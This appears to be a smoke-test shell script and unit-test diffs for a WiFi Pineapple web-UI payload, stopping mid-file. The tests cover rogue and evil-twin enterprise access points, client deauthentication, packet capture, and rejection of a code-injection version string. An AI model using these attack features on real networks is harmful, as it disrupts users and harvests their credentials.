pineapd.wlan2mon.disable=1
pineapd.wlan2mon.hop=0
pineapd.wlan1mon.bands=5
pineapd.wlan0mon.bands=2
pineapd.@pineapd[0].autossidpool=0
EOF
pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
pool_n=$(printf '%s' "$pool" | awk '{n += NF} END {print n + 0}')
if [ "$pool_n" -le 20 ]; then
info "ssid pool size: $pool_n (max 20)"
else
inv_fail=$((inv_fail + 1))
info "ssid pool size: $pool_n (max 20)"
fi
if [ "$inv_fail" -eq 0 ]; then
pass 'invariants: safe UCI values + pool <= 20'
else
fail "invariants: $inv_fail violation(s)"
fi
}
check_journal() {
if [ -z "$PY" ]; then
fail 'journal: python3 not found for JSON check'
return
fi
last="$(tail -n 1 "$BASE/events.log" 2>/dev/null)"
out="$(printf '%s' "$last" | "$PY" -c '
import json, sys
raw = sys.stdin.read().strip()
if not raw:
raise SystemExit("events.log empty or missing")
try:
d = json.loads(raw)
except Exception as exc:
raise SystemExit("not JSON: %s" % exc)
kind = d.get("kind") if isinstance(d, dict) else None
if not kind:
raise SystemExit("last entry has no kind field")
print(kind)' 2>&1)"
rc=$?
if [ "$rc" -eq 0 ]; then
pass "journal: last entry ok (kind=$out)"
else
fail "journal: $out"
fi
}
check_monitors() {
miss=""
for m in wlan0mon wlan1mon; do
ip link show "$m" >/dev/null 2>&1 || miss="$miss $m"
done
if [ -z "$miss" ]; then
pass 'monitors: wlan0mon + wlan1mon present'
else
fail "monitors: down:$miss"
fi
}
check_versions() {
sv="$(grep '^SERVER_VERSION' "$REL_PAY/server.py" 2>/dev/null | head -n 1 \
| sed -e 's/^SERVER_VERSION = //' -e "s/'//g" | tr -d '\r')"
pv="$(grep '^#[ ]*[Vv]ersion:' "$REL_PAY/payload.sh" 2>/dev/null | head -n 1 \
| sed 's/^#[ ]*[Vv]ersion:[ ]*//' | tr -d '\r')"
if [ -n "$sv" ] && [ "$sv" = "$pv" ]; then
pass "versions: release server.py and payload.sh agree ($sv)"
else
fail "versions: server.py='$sv' payload.sh='$pv'"
fi
}
check_authed_api() {
if [ -z "$PASS" ]; then
skip 'authed API: PASS not set'
return
fi
if [ -z "$PY" ]; then
fail 'authed API: python3 not found for response check'
return
fi
body='{"username":"root","password":"'"$PASS"'"}'
code="$(curl -fsS -m 10 -o /dev/null -w '%{http_code}' \
-c "$JAR" -H 'Content-Type: application/json' \
-d "$body" "$URL/api/login" 2>/dev/null)"
if [ "$code" != "200" ]; then
fail "authed API: login failed (http=$code)"
return
fi
shape="$(curl -fsS -m 10 -b "$JAR" "$URL/api/health" 2>/dev/null \
| "$PY" -c '
import json, sys
try:
d = json.loads(sys.stdin.read())
except Exception:
raise SystemExit("unparseable")
print("dict" if isinstance(d, dict) else "other" )' 2>/dev/null)"
if [ "$shape" = "dict" ]; then
pass 'authed API: login + cookie-authenticated /api/health ok'
else
fail 'authed API: /api/health did not return a JSON object'
fi
}
drill_bad_values() {
info 'bad-value drill: bands=2,5 then 25-entry SSID pool'
orig_bands="$(uci_get pineapd.wlan1mon.bands)"
[ -n "$orig_bands" ] || orig_bands=5
orig_pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
uci set pineapd.wlan1mon.bands='2,5'
uci commit pineapd
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
got="$(uci_get pineapd.wlan1mon.bands)"
if [ "$got" = "5" ]; then
pass 'drill: reconcile repaired bands 2,5 -> 5'
else
fail "drill: bands not repaired (got '$got')"
fi
uci set pineapd.wlan1mon.bands="$orig_bands"
list=""
i=0
while [ "$i" -lt 25 ]; do
list="$list smoke$i"
i=$((i + 1))
done
uci set "pineapd.@ssidpool[0].ssid=${list# }"
uci commit pineapd
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
got="$(uci_get 'pineapd.@ssidpool[0].ssid')"
if [ -z "$got" ]; then
pass 'drill: reconcile cleared oversized SSID pool'
else
fail "drill: oversized pool survived ($(printf '%s' "$got" \
| awk '{n += NF} END {print n + 0}') entries)"
fi
if [ -n "$orig_pool" ]; then
uci set "pineapd.@ssidpool[0].ssid=$orig_pool"
else
uci -q delete 'pineapd.@ssidpool[0].ssid'
fi
uci commit pineapd
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
}
drill_role() {
if [ -z "$UPLINK_SSID" ]; then
skip 'role drill: set SMOKE_UPLINK_SSID to enable'
return
fi
info "role drill: uplink '$UPLINK_SSID' then attack"
out="$("$PY" - "$REL" "$LEGACY" "$UPLINK_SSID" "$UPLINK_PSK" <<'PYEOF' 2>&1
import json
import os
import sys
rel, legacy, ssid, psk = sys.argv[1:5]
mk8_rfplan = None
for d in (rel, legacy):
if os.path.isfile(os.path.join(d, 'mk8_rfplan.py')):
sys.path.insert(0, d)
try:
import mk8_rfplan
break
except Exception:
sys.path.remove(d)
if mk8_rfplan is None:
print('FAIL mk8_rfplan not importable from release or legacy dir')
raise SystemExit(1)
r1 = mk8_rfplan.set_role(
'uplink', ssid=ssid or None, psk=psk or None)
if not isinstance(r1, dict) or not r1.get('ok'):
print('FAIL uplink set_role failed: %s' % json.dumps(r1))
raise SystemExit(1)
assoc = mk8_rfplan.associated()
if not assoc:
print('FAIL uplink associated() returned nothing after set_role')
else:
print('associated as %s' % assoc)
try:
r2 = mk8_rfplan.set_role('attack')
except Exception as exc:
r2 = {'ok': False, 'error': str(exc)}
if not isinstance(r2, dict) or not r2.get('ok'):
print('FAIL attack set_role failed: %s' % json.dumps(r2))
raise SystemExit(1)
raise SystemExit(0 if assoc else 1)
PYEOF
)"
rc=$?
printf '%s\n' "$out" | sed 's/^/ /'
if [ "$rc" -ne 0 ]; then
fail 'role drill: uplink association failed (see detail above)'
return
fi
hop="$(uci_get pineapd.wlan1mon.hop)"
if [ "$hop" = "1" ]; then
pass 'role drill: uplink assoc + attack role + hopping resumed'
else
fail "role drill: pineapd.wlan1mon.hop=$hop after attack role (want 1)"
fi
}
drill_watchdog() {
WDOG="$REL_PAY/mk8-watchdog.sh"
[ -f "$WDOG" ] || WDOG="$LEGACY/mk8-watchdog.sh"
if [ ! -f "$WDOG" ]; then
fail 'drill: mk8-watchdog.sh not found in release or legacy dir'
return
fi
# Ensure a profile exists: snapshot the live config as the drill target.
if [ ! -d "$BASE/profiles" ] || [ -z "$(ls "$BASE/profiles" 2>/dev/null)" ]; then
"$PY" - "$REL_PAY" <<'PYEOF' >/dev/null 2>&1 || {
import sys
sys.path.insert(0, sys.argv[1])
import mk8_profiles
mk8_profiles.snapshot('smoke-drill')
PYEOF
fail 'drill: could not snapshot a profile for watchdog drill'
return
}
fi
prof=lastknown-good
[ -d "$BASE/profiles/$prof" ] \
|| prof="$(ls "$BASE/profiles" 2>/dev/null | head -n 1)"
if [ -z "$prof" ]; then
fail 'drill: no profiles under /mmc/mk8/profiles to exercise watchdog'
return
fi
printf ' WARNING: watchdog drill stops/starts the webui service.\n'
n=5
while [ "$n" -gt 0 ]; do
printf ' starting in %ds (ctrl-c to abort)\n' "$n"
sleep 1
n=$((n - 1))
done
if ! curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
fail 'drill: web must be up before watchdog promote phase'
return
fi
# Phase 1: healthy system -> watchdog promotes snapshot, exits 0.
"$WDOG" "$prof" 1 2 2 30 &
wp=$!
if wait_exit "$wp" 40; then
if [ "$WAIT_RC" -eq 0 ]; then
pass "drill: watchdog promote path exited 0 (profile=$prof)"
else
fail "drill: watchdog promote exit=$WAIT_RC"
fi
else
kill_bg "$wp"
fail 'drill: watchdog promote did not exit within 40s'
fi
# Phase 2: web stopped -> watchdog rolls back and journals it.
before="$(rollback_count)"
WEB_STOPPED=1
"$WEBUI_INIT" stop >/dev/null 2>&1
"$WDOG" "$prof" 1 2 2 60 &
wp=$!
rolled=0
t=0
while [ "$t" -lt 150 ]; do
now="$(rollback_count)"
[ "$now" -gt "$before" ] && { rolled=1; break; }
kill -0 "$wp" 2>/dev/null || break
sleep 2
t=$((t + 2))
done
kill_bg "$wp"
WEB_STOPPED=0
"$WEBUI_INIT" start >/dev/null 2>&1
up=0
t=0
while [ "$t" -lt 45 ]; do
curl -fsS -m 3 "$URL/" >/dev/null 2>&1 && { up=1; break; }
sleep 2
t=$((t + 2))
done
if [ "$rolled" -eq 1 ]; then
pass 'drill: watchdog rollback journaled'
else
fail 'drill: no new rollback entry in events.log'
fi
if [ "$up" -eq 1 ]; then
pass 'drill: webui restored after rollback drill'
else
fail 'drill: webui did not come back within 45s'
fi
}
main() {
for arg in "$@"; do
case "$arg" in
--write) WRITE=1 ;;
-h|--help) usage; exit 0 ;;
*) printf 'unknown argument: %s\n' "$arg" >&2; usage >&2; exit 2 ;;
esac
done
if [ "$(id -u 2>/dev/null)" != "0" ]; then
printf 'FAIL smoke: must run as root on the device\n'
exit 1
fi
printf 'Mark VIII smoke suite (%s%s)\n' \
"$(date '+%Y-%m-%d %H:%M:%S')" \
"$([ "$WRITE" = "1" ] && printf ' --write')"
check_web_up
check_guard
check_invariants
check_journal
check_monitors
check_versions
check_authed_api
if [ "$WRITE" = "1" ]; then
if [ -z "$PY" ]; then
fail 'drills: python3 required but not found'
elif [ "$FAILED" -ne 0 ]; then
skip 'drills: read-only checks failed; refusing drills'
else
printf -- '--- --write drills ---\n'
drill_bad_values
drill_role
drill_watchdog
fi
fi
printf -- '---\n'
if [ "$FAILED" -eq 0 ]; then
printf 'SMOKE OK\n'
exit 0
fi
printf 'SMOKE FAILED (%d check(s))\n' "$FAILED"
exit 1
}
trap on_exit EXIT
trap 'exit 130' INT
trap 'exit 143' TERM
main "$@"
+278 -1
View File
@@ -94,6 +94,13 @@ class AttacksDeployTest(unittest.TestCase):
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log') server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json') server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem') server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
# The fake device_run cannot execute real openssl; pre-seed the cert
# files so _ensure_ent_certs() short-circuits to True.
os.makedirs(server.ENT_DIR, exist_ok=True)
for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
server.ENT_SERVER_KEY, server.ENT_DH_FILE):
with open(p, 'w') as f:
f.write('stub\n')
self.old_ent_running = server._ent_running self.old_ent_running = server._ent_running
self.old_ent_state = server._ent_state_loaded self.old_ent_state = server._ent_state_loaded
server._ent_running = lambda: True server._ent_running = lambda: True
@@ -215,6 +222,7 @@ class AttacksDeployTest(unittest.TestCase):
self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE] self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE]
for c in cmds)) for c in cmds))
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent') self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'], '0')
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0') self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
with open(server.ENT_CONF) as f: with open(server.ENT_CONF) as f:
conf = f.read() conf = f.read()
@@ -231,6 +239,22 @@ class AttacksDeployTest(unittest.TestCase):
users = f.read() users = f.read()
self.assertIn('PEAP,TTLS', users) self.assertIn('PEAP,TTLS', users)
self.assertIn('[2]', users) self.assertIn('[2]', users)
# Phase-2 entries must use a quoted empty prefix: hostapd never
# wildcard-matches a bare `*` identity for phase2 lookups.
self.assertIn('""*', users)
self.assertNotRegex(users, r'(?m)^\*\t.*\[2\]$')
def test_eap_users_text_grammar_matches_pineapple_wpad(self):
text = server._eap_users_text('secret123', 'any')
lines = text.splitlines()
self.assertEqual(lines[0], '*\tPEAP,TTLS')
self.assertTrue(lines[1].startswith('""*\t'))
self.assertIn('"secret123"', lines[1])
self.assertTrue(lines[1].endswith('[2]'))
# A bare-wildcard phase-2 line is the firmware-broken grammar.
for line in lines:
if line.endswith('[2]'):
self.assertFalse(line.startswith('*\t'))
def test_deploy_enterprise_rejects_non_5g_channel(self): def test_deploy_enterprise_rejects_non_5g_channel(self):
status, _ = server.h_attacks_deploy(ctx({ status, _ = server.h_attacks_deploy(ctx({
@@ -241,11 +265,15 @@ class AttacksDeployTest(unittest.TestCase):
def test_stop_enterprise_tears_down_engine(self): def test_stop_enterprise_tears_down_engine(self):
server._ent_running = lambda: True server._ent_running = lambda: True
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36} server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
self.f.state['pineapd.@hostapd[0].pineape_auth_pass'] = '0'
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'})) status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
self.assertEqual(status, 200) self.assertEqual(status, 200)
self.assertIn('wlan1ent', payload['stopped']) self.assertIn('wlan1ent', payload['stopped'])
cmds = [r[0] for r in self.f.runs] cmds = [r[0] for r in self.f.runs]
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds) self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
# Deploy disabled PineAPE auth passthrough; stop must restore it.
self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'],
'1')
def test_deploy_enterprise_writes_passphrase_and_hidden(self): def test_deploy_enterprise_writes_passphrase_and_hidden(self):
status, payload = server.h_attacks_deploy(ctx({ status, payload = server.h_attacks_deploy(ctx({
@@ -360,7 +388,7 @@ class AttacksDeauthTest(unittest.TestCase):
self.assertEqual(payload['inject'], 'wlan0mon') self.assertEqual(payload['inject'], 'wlan0mon')
calls = [r[0] for r in self.f.runs] calls = [r[0] for r in self.f.runs]
self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls) self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF',
'11:22:33:44:55:66', '6'], calls) '11:22:33:44:55:66', '6'], calls)
def test_deauth_5g_keeps_wlan1mon_inject(self): def test_deauth_5g_keeps_wlan1mon_inject(self):
@@ -376,6 +404,20 @@ class AttacksDeauthTest(unittest.TestCase):
self.assertEqual(status, 400) self.assertEqual(status, 400)
class AttackFilterModeTest(unittest.TestCase):
def test_allow_all_ssids_uses_full_network_filter_app_name(self):
calls = []
old_run = server.device_run
server.device_run = lambda args, timeout=20, input_data=None: (
calls.append(list(args)) or (0, '', ''))
try:
self.assertTrue(server._allow_all_ssids())
finally:
server.device_run = old_run
self.assertEqual(calls, [[server.HAK5CMD,
'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']])
class AttacksExportTest(unittest.TestCase): class AttacksExportTest(unittest.TestCase):
def setUp(self): def setUp(self):
self.f = FakeUciDevice() self.f = FakeUciDevice()
@@ -394,11 +436,13 @@ class AttacksExportTest(unittest.TestCase):
server.device_run = fake_run server.device_run = fake_run
server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {}) server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {})
self._real_exists = os.path.exists self._real_exists = os.path.exists
self._real_getsize = os.path.getsize
server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys') server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys')
server.os.path.getsize = lambda p: 12 server.os.path.getsize = lambda p: 12
def tearDown(self): def tearDown(self):
server.os.path.exists = self._real_exists server.os.path.exists = self._real_exists
server.os.path.getsize = self._real_getsize
try: try:
os.unlink('/tmp/mk8test.hc22000') os.unlink('/tmp/mk8test.hc22000')
except OSError: except OSError:
@@ -455,5 +499,238 @@ class AttacksStatusTest(unittest.TestCase):
self.assertTrue(payload['enterprise']['pineape']['enabled']) self.assertTrue(payload['enterprise']['pineape']['enabled'])
class AttacksCaptureTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
server.daemon_sock_call = lambda *a, **k: (200, {})
server._uci_wifi_iface = self.f.uci_iface
server._uci_section = self.f.uci_iface
server._verify_iface = lambda name, timeout=20: self.f._verify
self.pidfile = tempfile.mktemp(prefix='mk8-cap-test-')
self.real_exists = os.path.exists
def tearDown(self):
os.path.exists = self.real_exists
try:
os.unlink(self.pidfile)
except OSError:
pass
def test_status_reports_dead_pid_as_stopped_stale(self):
with open(self.pidfile, 'w') as f:
f.write('999999\n')
running, pid, stale = server._capture_state(self.pidfile, 'wlan0mon')
self.assertFalse(running)
self.assertTrue(stale)
self.assertFalse(os.path.exists(self.pidfile),
'stale pidfile must be cleaned up')
def test_status_kills_capture_when_iface_dropped(self):
with open(self.pidfile, 'w') as f:
f.write('4242\n')
real_exists = os.path.exists
killed = []
old_run = server.device_run
def fake_run(args, timeout=20, input_data=None):
if args[0] == 'kill':
killed.append(args[1])
return (0, '', '')
server.device_run = fake_run
try:
os.path.exists = lambda p: p.startswith('/proc/4242')
running, pid, stale = server._capture_state(
self.pidfile, 'wlan0mon')
finally:
os.path.exists = real_exists
server.device_run = old_run
self.assertFalse(running)
self.assertTrue(stale)
self.assertEqual(killed, ['4242'])
def test_status_live_capture_running(self):
with open(self.pidfile, 'w') as f:
f.write(str(os.getpid()))
real_exists = os.path.exists
try:
# /proc/<pid> exists for our own process; iface path faked up.
os.path.exists = lambda p: (
not p.startswith('/sys/class/net') or p.endswith('wlan0mon'))
running, pid, stale = server._capture_state(
self.pidfile, 'wlan0mon')
finally:
os.path.exists = real_exists
self.assertTrue(running)
self.assertFalse(stale)
def test_deploy_retries_radio0_set_ap_when_iface_never_verifies(self):
calls = {'set_ap': 0}
def sock(method, path, body=None, timeout=10):
if path == '/api/settings/wifi/set_ap':
calls['set_ap'] += 1
return (200, {})
server.daemon_sock_call = sock
self.f._verify = False
status, payload = server.h_attacks_deploy(ctx({
'kind': 'open', 'ssid': 'Guest', 'channel': 1}))
self.assertEqual(status, 200)
self.assertFalse(payload['verified'])
self.assertEqual(calls['set_ap'], 2,
'radio0 deploy must retry set_ap once')
def test_deploy_5g_does_not_retry_set_ap(self):
calls = {'set_ap': 0}
def sock(method, path, body=None, timeout=10):
if path == '/api/settings/wifi/set_ap':
calls['set_ap'] += 1
return (200, {})
server.daemon_sock_call = sock
self.f._verify = False
status, payload = server.h_attacks_deploy(ctx({
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
'enctype': 'psk2', 'channel': 36}))
self.assertEqual(status, 200)
self.assertEqual(calls['set_ap'], 0,
'5 GHz path writes UCI directly, no set_ap')
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'],
'wlan1wpa')
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
class AttacksDeauthBulkTest(unittest.TestCase):
def setUp(self):
self.f = FakeUciDevice()
self.f._verify = True
server.device_run = self.f.device_run
server.daemon_sock_call = self.f.daemon_sock_call
server._uci_wifi_iface = self.f.uci_iface
def test_bulk_deauth_all_targets(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '22:22:33:44:55:66',
'channel': 36},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 2)
self.assertEqual(payload['failed'], 0)
calls = [r[0] for r in self.f.runs]
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls)
self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT',
'AA:BB:CC:DD:EE:FF', '22:22:33:44:55:66', '36'], calls)
def test_bulk_deauth_mixed_validity_reports_per_target(self):
targets = [
{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:66',
'channel': 6},
{'bssid': 'nope', 'client': '22:22:33:44:55:66', 'channel': 6},
]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': targets}))
self.assertEqual(status, 200)
self.assertEqual(payload['sent'], 1)
self.assertEqual(payload['failed'], 1)
self.assertFalse(payload['results'][1]['ok'])
self.assertEqual(payload['results'][1]['error'], 'invalid AP MAC')
def test_bulk_deauth_rejects_empty_and_oversized(self):
status, _ = server.h_attacks_deauth_bulk(ctx({'targets': []}))
self.assertEqual(status, 400)
status, _ = server.h_attacks_deauth_bulk(ctx({}))
self.assertEqual(status, 400)
big = [{'bssid': 'AA:BB:CC:DD:EE:FF', 'client': '11:22:33:44:55:%02d' % (i % 256),
'channel': 6} for i in range(33)]
status, payload = server.h_attacks_deauth_bulk(ctx({'targets': big}))
self.assertEqual(status, 400)
class AttacksCaptureStatusBothIfacesTest(unittest.TestCase):
"""The UI polls status without an iface; the handler must report the
monitor that actually has a live capture (regression: wlan1mon captures
flipped back to 'Not capturing' within one 5s poll)."""
def setUp(self):
self.f = FakeUciDevice()
server.device_run = self.f.device_run
self.pidfiles = ['/tmp/mk8_capture_wlan0mon.pid',
'/tmp/mk8_capture_wlan1mon.pid']
self.real_exists = os.path.exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def tearDown(self):
os.path.exists = self.real_exists
for p in self.pidfiles:
try:
os.unlink(p)
except OSError:
pass
def _live_pidfile(self, iface):
with open('/tmp/mk8_capture_%s.pid' % iface, 'w') as f:
f.write(str(os.getpid()))
def test_status_without_iface_finds_running_wlan1mon(self):
self._live_pidfile('wlan1mon')
# Own pid always exists in /proc; pretend the wlan1mon netdev exists.
os.path.exists = lambda p: (
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertEqual(payload['iface'], 'wlan1mon')
def test_status_without_iface_defaults_when_none_running(self):
status, payload = server.h_attacks_capture(ctx({'action': 'status'}))
self.assertEqual(status, 200)
self.assertFalse(payload['running'])
self.assertIn(payload['iface'], ('wlan0mon', 'wlan1mon'))
def test_start_mkdirs_pcap_dir_and_logs_stderr(self):
calls = []
def fake_run(args, timeout=20, input_data=None):
calls.append(list(args))
if args[:2] == ['sh', '-c'] and 'echo $!' in args[2]:
with open('/tmp/mk8_capture_wlan1mon.pid', 'w') as f:
f.write(str(os.getpid()))
return (0, '', '')
old_exists = os.path.exists
server.device_run = fake_run
# /proc does not exist on dev hosts; fake liveness for our own pid.
os.path.exists = lambda p: (
p.startswith('/proc/') or
not p.startswith('/sys/class/net') or p.endswith('wlan1mon'))
try:
status, payload = server.h_attacks_capture(ctx({
'action': 'start', 'iface': 'wlan1mon'}))
finally:
server.device_run = self.f.device_run
os.path.exists = old_exists
self.assertEqual(status, 200)
self.assertTrue(payload['running'])
self.assertTrue(any(a[:3] == ['mkdir', '-p', '/root/loot/pcap']
for a in calls),
'capture dir must be created before starting tcpdump')
sh_cmd = next(a[2] for a in calls if a[:2] == ['sh', '-c'])
self.assertNotIn('/dev/null', sh_cmd)
self.assertIn('mk8_capture_wlan1mon.log', sh_cmd)
try:
os.unlink('/tmp/mk8_capture_wlan1mon.pid')
except OSError:
pass
+101
View File
@@ -0,0 +1,101 @@
"""Tests for scripts/build_common.py version stamping helpers."""
import json
import os
import shutil
import sys
import tempfile
import unittest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'scripts'))
import build_common
class BuildCommonTest(unittest.TestCase):
def setUp(self):
self.dir = tempfile.mkdtemp()
self.payload = os.path.join(self.dir, 'user', 'remote_access',
'pager-webui')
os.makedirs(self.payload)
with open(os.path.join(self.dir, '_hak5_manifest.json'), 'w') as f:
f.write('{"payload": "pager-webui", "version": "1.3.2"}')
with open(os.path.join(self.payload, 'payload.sh'), 'w') as f:
f.write('#!/bin/bash\n'
'# Title: Mark VIII\n'
'# Description: test payload\n'
'# Version: 1.3.2\n'
'# Category: Remote-Access\n'
'\n'
'echo hi\n')
with open(os.path.join(self.payload, 'server.py'), 'w') as f:
f.write('"""Mark VIII server."""\n'
'import os\n'
'\n'
'PORT = 8080\n')
def tearDown(self):
shutil.rmtree(self.dir, ignore_errors=True)
def _server_text(self):
with open(os.path.join(self.payload, 'server.py')) as f:
return f.read()
def test_stamp_version_updates_all_three_files(self):
stamped = sorted(build_common.stamp_version(self.dir, '1.4.0'))
expected = sorted([
os.path.join(self.dir, '_hak5_manifest.json'),
os.path.join(self.payload, 'payload.sh'),
os.path.join(self.payload, 'server.py'),
])
self.assertEqual(stamped, expected)
with open(os.path.join(self.dir, '_hak5_manifest.json')) as f:
self.assertEqual(json.load(f)['version'], '1.4.0')
with open(os.path.join(self.payload, 'payload.sh')) as f:
sh_text = f.read()
self.assertIn('# Version: 1.4.0', sh_text)
self.assertNotIn('# Version: 1.3.2', sh_text)
server_text = self._server_text()
self.assertIn("SERVER_VERSION = '1.4.0'", server_text)
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
self.assertLess(server_text.index("SERVER_VERSION = '1.4.0'"),
server_text.index('\nimport os'))
def test_stamp_version_is_idempotent_and_upgrades(self):
build_common.stamp_version(self.dir, '1.4.0')
stamped = build_common.stamp_version(self.dir, '1.5.0')
self.assertEqual(len(stamped), 3)
server_text = self._server_text()
self.assertEqual(server_text.count('SERVER_VERSION'), 1)
self.assertIn("SERVER_VERSION = '1.5.0'", server_text)
with open(os.path.join(self.payload, 'payload.sh')) as f:
self.assertIn('# Version: 1.5.0', f.read())
def test_server_without_docstring_gets_top_injection(self):
path = os.path.join(self.payload, 'server.py')
with open(path, 'w') as f:
f.write('# comment header\n'
'\n'
'import os\n'
'PORT = 8080\n')
build_common.stamp_version(self.dir, '9.9.9')
text = self._server_text()
lines = text.splitlines(True)
idx = [i for i, l in enumerate(lines) if l.startswith('SERVER_VERSION')]
self.assertEqual(len(idx), 1)
self.assertLess(idx[0], [i for i, l in enumerate(lines)
if l.startswith('import os')][0])
def test_missing_files_are_tolerated(self):
empty = tempfile.mkdtemp()
try:
self.assertEqual(build_common.stamp_version(empty, '1.4.0'), [])
finally:
shutil.rmtree(empty, ignore_errors=True)
def test_invalid_version_is_rejected(self):
for bad in ("1.4'; import os", '', 'a' * 64, 'ver x'):
with self.assertRaises(ValueError):
build_common.stamp_version(self.dir, bad)
if __name__ == '__main__':
unittest.main()
+12
View File
@@ -69,3 +69,15 @@ class DeviceRunTest(unittest.TestCase):
if __name__ == '__main__': if __name__ == '__main__':
unittest.main() unittest.main()
class DeviceRunInputTest(unittest.TestCase):
def test_str_input_data_is_encoded(self):
rc, out, err = server.device_run(['cat'], input_data='uci import text')
self.assertEqual(rc, 0)
self.assertEqual(out, 'uci import text')
def test_bytes_input_data_passes_through(self):
rc, out, err = server.device_run(['cat'], input_data=b'raw')
self.assertEqual(rc, 0)
self.assertEqual(out, 'raw')
+167
View File
@@ -1,6 +1,7 @@
import os import os
import sys import sys
import unittest import unittest
from unittest import mock
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui')) sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
import server import server
@@ -139,5 +140,171 @@ class HealthCheckTest(unittest.TestCase):
self.assertIn('pool_disabled', payload) self.assertIn('pool_disabled', payload)
class SupervisorExtrasTest(unittest.TestCase):
def runTestWith(self): # helper: reuse existing setUp fake_run
pass
def test_mem_percent_math(self):
import tempfile
content = 'MemTotal: 250000 kB\nMemAvailable: 100000 kB\n'
path = tempfile.mktemp()
open(path, 'w').write(content)
self.assertEqual(server._mem_percent(path), 60)
def test_health_reparks_resurrected_dummy_sta(self):
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
with mock.patch.object(
server, '_sta_uplink_enabled', return_value=True), \
mock.patch.object(
server, '_park_dummy_sta') as park, \
mock.patch.object(
server, '_raise_monitors', return_value=[]), \
mock.patch('mk8_guard.reconcile',
return_value={'changed': [], 'pool_cleared': False,
'monitors_raised': []}) as rec:
h = server.health_check()
park.assert_called_once()
rec.assert_called_once()
self.assertEqual(server._health['ticks'],
server.HEALTH_STA_PARK_INTERVAL)
# not on interval ticks: no re-park, no reconcile
server._health['ticks'] = 1
with mock.patch.object(
server, '_sta_uplink_enabled', return_value=True), \
mock.patch.object(
server, '_park_dummy_sta') as park, \
mock.patch('mk8_guard.reconcile') as rec:
server.health_check()
park.assert_not_called()
rec.assert_not_called()
def test_health_reconcile_journals_changed_keys(self):
import mk8_events
events = []
old_log = mk8_events.log_event
old_run = server.device_run
old_iface = server._iface_up
def fake_run(args, timeout=20, input_data=None):
a = list(args)
if a[:2] == ['pidof', 'pineapd']:
return (0, '12345\n', '')
if a[:2] == ['ip', 'link', 'show']:
return (0, '4: wlan0mon: <UP> state unknown', '')
return (0, '', '')
mk8_events.log_event = lambda kind, **kw: events.append((kind, kw))
server.device_run = fake_run
server._iface_up = lambda name: True
old_ticks = server._health.get('ticks')
try:
server._health['ticks'] = server.HEALTH_STA_PARK_INTERVAL - 1
with mock.patch.object(server, '_sta_uplink_enabled',
return_value=False), \
mock.patch.object(server, '_raise_monitors',
return_value=[]), \
mock.patch('mk8_guard.reconcile',
return_value={'changed':
['pineapd.@pineapd[0].autossidpool'],
